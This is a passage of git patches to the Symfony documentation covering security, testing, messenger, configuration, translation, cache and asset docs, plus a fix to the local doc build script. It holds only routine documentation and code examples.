diff --git a/session.rst b/session.rst
index ba6125bd0bd..cbcc4a7a305 100644
--- a/session.rst
+++ b/session.rst
@@ -404,11 +404,6 @@ The session cookie is also available in :ref:`the Response object <component-htt
 This is useful to get that cookie in the CLI context or when using PHP runners
 like Roadrunner or Swoole.
 
-.. versionadded:: 5.4
-
-    Accessing to the session cookie in the ``Response`` object was introduced
-    in Symfony 5.4.
-
 Session Idle Time/Keep Alive
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f69733b323843f1d0907c0a0db7ae12e45aff783 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 10:45:55 +0200
Subject: [PATCH 5134/7107] Tweaks

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 745f6d52bce..d56dece2d21 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -873,7 +873,7 @@ The Serializer component provides several built-in normalizers:
     Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extends
+    This normalizer converts objects that extend
     :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
     The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
     is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
@@ -889,7 +889,7 @@ The Serializer component provides several built-in normalizers:
     .. deprecated:: 6.1
 
         Trying to denormalize to the ``AbstractUid`` class is deprecated since
-        Symfony 6.1, a subclass of ``AbstractUid`` must be used instead.
+        Symfony 6.1; a subclass of ``AbstractUid`` must be used instead.
 
 .. note::
 

From a156c316ce7177a798449502248733f55ab17d51 Mon Sep 17 00:00:00 2001
From: rschillinger <70899772+rschillinger@users.noreply.github.com>
Date: Wed, 6 Sep 2023 17:32:48 +0200
Subject: [PATCH 5135/7107] Modify method on route logout in security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1299f2337b3..5e9d1393a79 100644
--- a/security.rst
+++ b/security.rst
@@ -1705,7 +1705,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         class SecurityController extends AbstractController
         {
-            #[Route('/logout', name: 'app_logout', methods: ['POST'])]
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
             public function logout()
             {
                 // controller can be blank: it will never be called!

From 0453493150efc481826d76e931eb82aaab44cf01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 12:45:28 +0200
Subject: [PATCH 5136/7107] Update the route method in some config examples

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 5e9d1393a79..c03bb108625 100644
--- a/security.rst
+++ b/security.rst
@@ -1718,7 +1718,7 @@ Next, you need to create a route for this URL (but not a controller):
         # config/routes.yaml
         app_logout:
             path: /logout
-            methods: POST
+            methods: GET
 
     .. code-block:: xml
 
@@ -1729,7 +1729,7 @@ Next, you need to create a route for this URL (but not a controller):
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="app_logout" path="/logout" methods="POST"/>
+            <route id="app_logout" path="/logout" methods="GET"/>
         </routes>
 
     .. code-block:: php
@@ -1739,7 +1739,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         return function (RoutingConfigurator $routes) {
             $routes->add('app_logout', '/logout')
-                ->methods(['POST'])
+                ->methods(['GET'])
             ;
         };
 

From bfd103e8e1bee850a50b089d5f2bfce641acbf8a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 15:40:23 +0200
Subject: [PATCH 5137/7107] [Security] Add a comment about
 PasswordUpgraderInterface

---
 security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security.rst b/security.rst
index 0dbc77f35c8..51903e9e207 100644
--- a/security.rst
+++ b/security.rst
@@ -442,6 +442,12 @@ the database::
         }
     }
 
+.. note::
+
+    If your user class is a Doctrine entity and you hash user passwords, the
+    repository class related to the user class must implement the
+    :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
+
 .. tip::
 
     The ``make:registration-form`` maker command can help you set-up the

From 080f8df9e02b36fa46bfdac8a9d735b63abf28f2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 16:10:18 +0200
Subject: [PATCH 5138/7107] Fix the local doc build

---
 _build/build.php | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index 897fd8dac20..be2fb062a77 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -52,7 +52,14 @@
             foreach (new RegexIterator($iterator, '/^.+\.html$/i', RegexIterator::GET_MATCH) as $match) {
                 $htmlFilePath = array_shift($match);
                 $htmlContents = file_get_contents($htmlFilePath);
-                file_put_contents($htmlFilePath, str_replace('<head>', '<head><base href="/">', $htmlContents));
+
+                $htmlRelativeFilePath = str_replace($outputDir.'/', '', $htmlFilePath);
+                $subdirLevel = substr_count($htmlRelativeFilePath, '/');
+                $baseHref = str_repeat('../', $subdirLevel);
+
+                $htmlContents = str_replace('<head>', '<head><base href="'.$baseHref.'">', $htmlContents);
+                $htmlContents = str_replace('<img src="/_images/', '<img src="_images/', $htmlContents);
+                file_put_contents($htmlFilePath, $htmlContents);
             }
 
             foreach (new RegexIterator($iterator, '/^.+\.css/i', RegexIterator::GET_MATCH) as $match) {

From 8646be7b81df58ec1c7d4ab41dfd58bb73afb356 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 17:54:15 +0200
Subject: [PATCH 5139/7107] [Cache] Mention some details about
 cache.adapter.system

---
 cache.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/cache.rst b/cache.rst
index fd8e0d225af..b84bbb6f019 100644
--- a/cache.rst
+++ b/cache.rst
@@ -50,6 +50,8 @@ of:
     Redis and Memcached are examples of such adapters. If a DSN is used as the
     provider then a service is automatically created.
 
+.. _cache-app-system:
+
 There are two pools that are always enabled by default. They are ``cache.app`` and
 ``cache.system``. The system cache is used for things like annotations, serializer,
 and validation. The ``cache.app`` can be used in your code. You can configure which
@@ -119,6 +121,13 @@ The Cache component comes with a series of adapters pre-configured:
 
     ``cache.adapter.redis_tag_aware`` has been introduced in Symfony 5.2.
 
+.. note::
+
+    There's also a special ``cache.adapter.system`` adapter. It's recommended to
+    use it for the :ref:`system cache <cache-app-system>`. This adapter uses some
+    logic to dynamically select the best possible storage based on your system
+    (either PHP files or APCu).
+
 Some of these adapters could be configured via shortcuts. Using these shortcuts
 will create pools with service IDs that follow the pattern ``cache.[type]``.
 

From b377285d60c5216a3e323d47467c96e4da7d501b Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <math.lechat@gmail.com>
Date: Sat, 26 Aug 2023 11:40:56 +0200
Subject: [PATCH 5140/7107] [Testing] Create a section dedicated to sending
 multiple requests in one functional test

---
 testing.rst | 59 +++++++++++++++++++++++++++++++++++++++++++++--------
 1 file changed, 51 insertions(+), 8 deletions(-)

diff --git a/testing.rst b/testing.rst
index 7cb5f906046..cdc03bc98cc 100644
--- a/testing.rst
+++ b/testing.rst
@@ -619,15 +619,58 @@ This allows you to create all types of requests you can think of:
     :ref:`framework.test <reference-framework-test>` option is enabled).
     This means you can override the service entirely if you need to.
 
-.. caution::
+Multiple Requests in One Test
+.............................
+
+After you send one request, subsequent ones will make the client reboot
+the kernel, recreating the container from scratch.
+This ensures that requests are "isolated" using "new" service objects.
+However, this can cause some unexpected behaviors. For example, the
+security token will be cleared, Doctrine entities will be "detached"…
+
+Calling the client's
+:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot`
+method is the first step to work around this, as this will reset the kernel
+instead of rebooting it. Now, resetting the kernel will call the ``reset()``
+method of every ``kernel.reset`` tagged service, which will **also** clear
+the security token, detach entities and so on.
+
+As such, the next step is to create a
+:doc:`compiler pass </service_container/compiler_passes>` to remove the
+``kernel.reset`` tag from these services in your test environment::
+
+    // src/Kernel.php
+    namespace App;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+
+    class Kernel extends BaseKernel
+    {
+        use MicroKernelTrait;
+
+        // …
 
-    Before each request, the client reboots the kernel, recreating
-    the container from scratch.
-    This ensures that every requests are "isolated" using "new" service objects.
-    Also, it means that entities loaded by Doctrine repositories will
-    be "detached", so they will need to be refreshed by the manager or
-    queried again from a repository.
-    You can disable this behavior by calling the :method:`disableReboot() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot>` method.
+        protected function build(ContainerBuilder $container): void
+        {
+            if ('test' === $this->environment) {
+                $container->addCompilerPass(new class() implements CompilerPassInterface {
+                    public function process(ContainerBuilder $container): void
+                    {
+                        // prevents the security token to be cleared
+                        $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
+
+                        // prevents entities to be detached
+                        $container->getDefinition('doctrine')->clearTag('kernel.reset');
+
+                        // …
+                    }
+                });
+            }
+        }
+    }
 
 Browsing the Site
 .................

From ef78cf19ff3b246a6c2d597b3fea4b18d39aef25 Mon Sep 17 00:00:00 2001
From: Gilles Gauthier <ggauthier@spiriit.com>
Date: Fri, 8 Sep 2023 10:53:11 +0200
Subject: [PATCH 5141/7107] webpack encore reset entrypointlookup

---
 frontend/encore/advanced-config.rst | 59 +++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index cfe50ee1658..ec37aca0680 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -148,6 +148,65 @@ functions to specify which build to use:
     {{ encore_entry_script_tags('mobile', null, 'secondConfig') }}
     {{ encore_entry_link_tags('mobile', null, 'secondConfig') }}
 
+Avoid missing CSS when render multiples html
+--------------------------------------------
+
+When you need to generate two templates in the same request, such as two emails, you should call the reset method on
+the ``EntrypointLookupInterface`` interface.
+
+To do this, inject the ``EntrypointLookupInterface`` interface
+
+.. code-block:: php
+
+    public function __construct(EntrypointLookupInterface $entryPointLookup) {}
+
+    public function send() {
+        $this->twig->render($emailOne);
+        $this->entryPointLookup->reset();
+        $this->render($emailTwo);
+    }
+
+If you are using multiple webpack configurations, for example, one for the admin and one for emails, you will need to
+inject the correct ``EntrypointLookupInterface`` service. To achieve this, you should search for the service
+using the following command:
+
+.. code-block:: terminal
+
+    # if you are using symfony CLI
+    $ symfony console debug:container entrypoint_lookup
+
+    # You will see a result similar to this:
+    Select one of the following services to display its information:
+    [0] webpack_encore.entrypoint_lookup_collection
+    [1] webpack_encore.entrypoint_lookup.cache_warmer
+    [2] webpack_encore.entrypoint_lookup[_default]
+    [3] webpack_encore.entrypoint_lookup[admin]
+    [4] webpack_encore.entrypoint_lookup[email]
+
+The service we are interested in is ``webpack_encore.entrypoint_lookup[email]``.
+
+To inject this service into your class, we will use the bind method:
+
+.. code-block:: yaml
+
+    services:
+        _defaults
+            bind:
+                Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]'
+
+
+Now you can inject your service into your class:
+
+.. code-block:: php
+
+    public function __construct(EntrypointLookupInterface $entryPointLookupEmail) {}
+
+    public function send() {
+        $this->twig->render($emailOne);
+        $this->entryPointLookupEmail->reset();
+        $this->render($emailTwo);
+    }
+
 Generating a Webpack Configuration Object without using the Command-Line Interface
 ----------------------------------------------------------------------------------
 

From 5eac02f6f3e57c8a25baec9435f46d2d7e1b1c82 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Sep 2023 13:30:50 +0200
Subject: [PATCH 5142/7107] [Messenger] Reword note about Enqueue

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index d129d0f13e2..1e8325d8aed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -124,7 +124,8 @@ is capable of sending messages (e.g. to a queueing system) and then
 .. note::
 
     If you want to use a transport that's not supported, check out the
-    `Enqueue's transport`_, which supports things like Kafka and Google Pub/Sub.
+    `Enqueue's transport`_, which backs services like Kafka and Google
+    Pub/Sub.
 
 A transport is registered using a "DSN". Thanks to Messenger's Flex recipe, your
 ``.env`` file already has a few examples.

From 55d687ea5870ed80d3267d2185e29c5d1b5b6400 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Sep 2023 13:47:04 +0200
Subject: [PATCH 5143/7107] [Messenger] Mention `RedispatchMessage` and
 `RedispatchMessageHandler`

---
 messenger.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 15d2e711af0..702b35a5f56 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2605,6 +2605,54 @@ Messenger gives you a single message bus service by default. But, you can config
 as many as you want, creating "command", "query" or "event" buses and controlling
 their middleware. See :doc:`/messenger/multiple_buses`.
 
+Redispatching a Message
+-----------------------
+
+It may occur that you dispatch a message and for some reason, wants to
+redispatch it through the same transport with the same envelope. To do so, you
+can create a new
+:class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
+it through your bus. Let's do this with the ``SmsNotification`` seen earlier::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\SmsNotification;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Message\RedispatchMessage;
+
+    #[AsMessageHandler]
+    class SmsNotificationHandler
+    {
+        public function __construct(private MessageBusInterface $bus)
+        {
+        }
+
+        public function __invoke(SmsNotification $message): void
+        {
+            // do something with the message
+            // then redispatch it based on your own logic
+
+            if ($needsRedispatch) {
+                $this->bus->dispatch(new RedispatchMessage($message));
+            }
+        }
+    }
+
+The built-in
+:class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler` will
+take care of this message and redispatch it through the same bus it's been
+dispatched at first. You can also use the second argument of the
+``RedispatchMessage`` constructor to provide transports to use when
+redispatching the message.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`
+    and :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+    classes were introduced in Symfony 6.3.
+
 Learn more
 ----------
 

From eab31f0b0f28b8612d47e5586c3c110f7888bb4a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Sep 2023 13:13:24 +0200
Subject: [PATCH 5144/7107] [Configuration] Emphasize env vars purpose

---
 configuration.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index f201fab29fb..75663f992d9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -599,6 +599,15 @@ The values of these options are resolved at runtime (only once per request, to
 not impact performance) so you can change the application behavior without having
 to clear the cache.
 
+.. note::
+
+    Environment variables are designed to store information that can
+    dynamically change in a production environment, such as an API
+    key that may have an expiration date. This information could be updated
+    without having to redeploy the application. Thus, not everything is a good
+    candidate for env vars, and
+    :ref:`parameters <configuration-parameters>` should be used in other cases.
+
 This example shows how you could configure the application secret using an env var:
 
 .. configuration-block::

From 827617f7ecb7bfb5ddb591b54d3c250047e2d6ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Sep 2023 16:46:10 +0200
Subject: [PATCH 5145/7107] Tweak

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 51903e9e207..c33e8e51f0d 100644
--- a/security.rst
+++ b/security.rst
@@ -445,7 +445,7 @@ the database::
 .. note::
 
     If your user class is a Doctrine entity and you hash user passwords, the
-    repository class related to the user class must implement the
+    Doctrine repository class related to the user class must implement the
     :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
 
 .. tip::

From d8d3c2499c6645c2a4625cff7aec6df351363a06 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 17:38:57 +0200
Subject: [PATCH 5146/7107] [Translation] Update the contents about Doctrine
 entity translation

---
 translation.rst | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/translation.rst b/translation.rst
index 402790b2026..9f90ae3f06a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -562,16 +562,22 @@ if you're generating translations with specialized programs or teams.
                 ;
             };
 
-.. note::
-
-    You can also store translations in a database; it can be handled by
-    Doctrine through the `Translatable Extension`_ or the `Translatable Behavior`_
-    (PHP 5.4+). For more information, see the documentation for these libraries.
-
-    For any other storage, you need to provide a custom class implementing the
-    :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
-    interface. See the :ref:`dic-tags-translation-loader` tag for more
-    information.
+Translations of Doctrine Entities
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Unlike the contents of templates, it's not practical to translate the contents
+stored in Doctrine Entities using translation catalogs. Instead, use the
+Doctrine `Translatable Extension`_ or the `Translatable Behavior`_. For more
+information, see the documentation for these libraries.
+
+Custom Translation Resources
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your translations use a format not supported by Symfony or you store them
+in not using Doctrine entities, you need to provide a custom class implementing
+the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
+interface. See the :ref:`dic-tags-translation-loader` tag for more
+information.
 
 .. _translation-providers:
 

From 403b41c9dd4e24e4d72eb545feee938fecffe3f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Sep 2023 16:53:17 +0200
Subject: [PATCH 5147/7107] Tweaks

---
 translation.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/translation.rst b/translation.rst
index 9f90ae3f06a..8166aa595de 100644
--- a/translation.rst
+++ b/translation.rst
@@ -568,16 +568,15 @@ Translations of Doctrine Entities
 Unlike the contents of templates, it's not practical to translate the contents
 stored in Doctrine Entities using translation catalogs. Instead, use the
 Doctrine `Translatable Extension`_ or the `Translatable Behavior`_. For more
-information, see the documentation for these libraries.
+information, read the documentation of those libraries.
 
 Custom Translation Resources
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If your translations use a format not supported by Symfony or you store them
-in not using Doctrine entities, you need to provide a custom class implementing
-the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
-interface. See the :ref:`dic-tags-translation-loader` tag for more
-information.
+in a special way (e.g. not using files or Doctrine entities), you need to provide
+a custom class implementing the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
+interface. See the :ref:`dic-tags-translation-loader` tag for more information.
 
 .. _translation-providers:
 

From 585b8a3ce36d5a4b3419144e7c7f09e76da70afb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Sep 2023 09:28:15 +0200
Subject: [PATCH 5148/7107] [Mailer] Mention that emails are async when using
 Messenger

---
 mailer.rst    | 9 ++++++---
 messenger.rst | 2 ++
 2 files changed, 8 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 6fe753ae44c..844b2d8f760 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -398,9 +398,12 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         }
     }
 
-That's it! The message will be sent via the transport you configured. If the
-transport is configured to :ref:`send emails asynchronously <mailer-sending-messages-async>`,
-the message won't be actually sent until :doc:`a worker consumes it <messenger-worker>`.
+That's it! The message will be sent immediately via the transport you configured.
+If you prefer to send emails asynchronously to improve performance, read the
+:ref:`Sending Messages Async <mailer-sending-messages-async>` section. Also, if
+your application has the :doc:`Messenger component </messenger>` installed, all
+emails will be sent asynchronously by default
+(but :ref:`you can change that <messenger-handling-messages-synchronously>`).
 
 Email Addresses
 ~~~~~~~~~~~~~~~
diff --git a/messenger.rst b/messenger.rst
index d129d0f13e2..dc2a11a0acd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -391,6 +391,8 @@ Then, in your handler, you can query for a fresh object::
 
 This guarantees the entity contains fresh data.
 
+.. _messenger-handling-messages-synchronously:
+
 Handling Messages Synchronously
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From be86778b2accc0437ab856d47cadde3caf4ed815 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 08:48:47 +0200
Subject: [PATCH 5149/7107] [AssetMapper] Allow passing a list of packages to
 importmap:update

---
 frontend/asset_mapper.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d26bb68de39..f773bd8013d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -248,12 +248,16 @@ computers if some files are missing.
     such as ``@popperjs/core``. The ``download`` option will download both the main
     package *and* its dependencies.
 
-To update all 3rd party packages in your ``importmap.php`` file, run:
+To update third-party packages in your ``importmap.php`` file, run:
 
 .. code-block:: terminal
 
+    # updates all packages
     $ php bin/console importmap:update
 
+    # updates only the given list of packages
+    $ php bin/console importmap:update bootstrap lodash
+
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3143b334810c42f44033351d75c3b679c20a82a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 09:35:06 +0200
Subject: [PATCH 5150/7107] Reword

---
 testing.rst | 35 ++++++++++++++++-------------------
 1 file changed, 16 insertions(+), 19 deletions(-)

diff --git a/testing.rst b/testing.rst
index cdc03bc98cc..f3041fcaac9 100644
--- a/testing.rst
+++ b/testing.rst
@@ -622,22 +622,19 @@ This allows you to create all types of requests you can think of:
 Multiple Requests in One Test
 .............................
 
-After you send one request, subsequent ones will make the client reboot
-the kernel, recreating the container from scratch.
-This ensures that requests are "isolated" using "new" service objects.
-However, this can cause some unexpected behaviors. For example, the
-security token will be cleared, Doctrine entities will be "detached"…
-
-Calling the client's
-:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot`
-method is the first step to work around this, as this will reset the kernel
-instead of rebooting it. Now, resetting the kernel will call the ``reset()``
-method of every ``kernel.reset`` tagged service, which will **also** clear
-the security token, detach entities and so on.
-
-As such, the next step is to create a
-:doc:`compiler pass </service_container/compiler_passes>` to remove the
-``kernel.reset`` tag from these services in your test environment::
+After making a request, subsequent requests will make the client reboot the kernel.
+This recreates the container from scratch to ensures that requests are isolated
+and use new service objects each time. This behavior can have some unexpected
+consequences: for example, the security token will be cleared, Doctrine entities
+will be detached, etc.
+
+First, you can call the client's :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot`
+method to reset the kernel instead of rebooting it. In practice, Symfony
+will call the ``reset()`` method of every service tagged with ``kernel.reset``.
+However, this will **also** clear the security token, detach Doctrine entities, etc.
+
+In order to solve this issue, create a :doc:`compiler pass </service_container/compiler_passes>`
+to remove the ``kernel.reset`` tag from some services in your test environment::
 
     // src/Kernel.php
     namespace App;
@@ -651,7 +648,7 @@ As such, the next step is to create a
     {
         use MicroKernelTrait;
 
-        // …
+        // ...
 
         protected function build(ContainerBuilder $container): void
         {
@@ -662,10 +659,10 @@ As such, the next step is to create a
                         // prevents the security token to be cleared
                         $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
 
-                        // prevents entities to be detached
+                        // prevents Doctrine entities to be detached
                         $container->getDefinition('doctrine')->clearTag('kernel.reset');
 
-                        // …
+                        // ...
                     }
                 });
             }

From 149876b60ef3ed6c5a3418d0c93538a978b20314 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 09:58:10 +0200
Subject: [PATCH 5151/7107] Reword

---
 configuration.rst | 22 +++++++++-------------
 1 file changed, 9 insertions(+), 13 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 75663f992d9..70dd76bca27 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -589,25 +589,21 @@ different scenarios: staging, quality assurance, client review, etc.)
 Configuration Based on Environment Variables
 --------------------------------------------
 
-Using `environment variables`_ (or "env vars" for short) is a common practice to
-configure options that depend on where the application is run (e.g. the database
-credentials are usually different in production versus your local machine). If
-the values are sensitive, you can even :doc:`encrypt them as secrets </configuration/secrets>`.
+Using `environment variables`_ (or "env vars" for short) is a common practice to:
+
+* Configure options that depend on where the application is run (e.g. the database
+  credentials are usually different in production versus your local machine);
+* Configure options that can change dynamically in a production environment (e.g.
+  to update the value of an expired API key without having to redeploy the entire
+  application).
+
+In other cases, it's recommended to keep using :ref:`configuration parameters <configuration-parameters>`.
 
 Use the special syntax ``%env(ENV_VAR_NAME)%`` to reference environment variables.
 The values of these options are resolved at runtime (only once per request, to
 not impact performance) so you can change the application behavior without having
 to clear the cache.
 
-.. note::
-
-    Environment variables are designed to store information that can
-    dynamically change in a production environment, such as an API
-    key that may have an expiration date. This information could be updated
-    without having to redeploy the application. Thus, not everything is a good
-    candidate for env vars, and
-    :ref:`parameters <configuration-parameters>` should be used in other cases.
-
 This example shows how you could configure the application secret using an env var:
 
 .. configuration-block::

From 2aff8d9f52782ed83adbbe581d73a356aa54034c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 11 Sep 2023 10:09:31 +0200
Subject: [PATCH 5152/7107] [Security] Add RateLimiter requirement command

---
 security.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security.rst b/security.rst
index c03bb108625..da54b527c89 100644
--- a/security.rst
+++ b/security.rst
@@ -1456,6 +1456,13 @@ Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>`
 which by default uses Symfony's cache to store the previous login attempts.
 However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
 
+In order to work, the Rate Limiter component must be installed in your
+application by running the following command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/rate-limiter
+
 Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an

From 2cbbb396db8851416b6d580c2f413892293004bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 16:18:47 +0200
Subject: [PATCH 5153/7107] Tweak

---
 security.rst | 23 +++++++++++------------
 1 file changed, 11 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index da54b527c89..8593f720f7f 100644
--- a/security.rst
+++ b/security.rst
@@ -1367,8 +1367,15 @@ Limiting Login Attempts
 
     Login throttling was introduced in Symfony 5.2.
 
-Symfony provides basic protection against `brute force login attacks`_.
-You must enable this using the ``login_throttling`` setting:
+Symfony provides basic protection against `brute force login attacks`_ thanks to
+the :doc:`Rate Limiter component </rate_limiter>`. If you haven't used this
+component in your application yet, install it before using this feature:
+
+.. code-block:: terminal
+
+    $ composer require symfony/rate-limiter
+
+Then, enable this feature using the ``login_throttling`` setting:
 
 .. configuration-block::
 
@@ -1452,16 +1459,8 @@ You must enable this using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
-Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>`
-which by default uses Symfony's cache to store the previous login attempts.
-However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
-
-In order to work, the Rate Limiter component must be installed in your
-application by running the following command:
-
-.. code-block:: terminal
-
-    $ composer require symfony/rate-limiter
+The Rate Limiter component uses by default the Symfony cache to store the previous
+login attempts. However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
 
 Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``

From d5e83b16ba8d34309cfb3976453d8fb7c0765afb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 17:58:56 +0200
Subject: [PATCH 5154/7107] Tweak

---
 messenger.rst | 18 +++++++-----------
 1 file changed, 7 insertions(+), 11 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0b0135e218c..550fe3b2f43 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2741,11 +2741,9 @@ their middleware. See :doc:`/messenger/multiple_buses`.
 Redispatching a Message
 -----------------------
 
-It may occur that you dispatch a message and for some reason, wants to
-redispatch it through the same transport with the same envelope. To do so, you
-can create a new
-:class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
-it through your bus. Let's do this with the ``SmsNotification`` seen earlier::
+It you want to redispatch a message (using the same transport and envelope), create
+a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
+it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
 
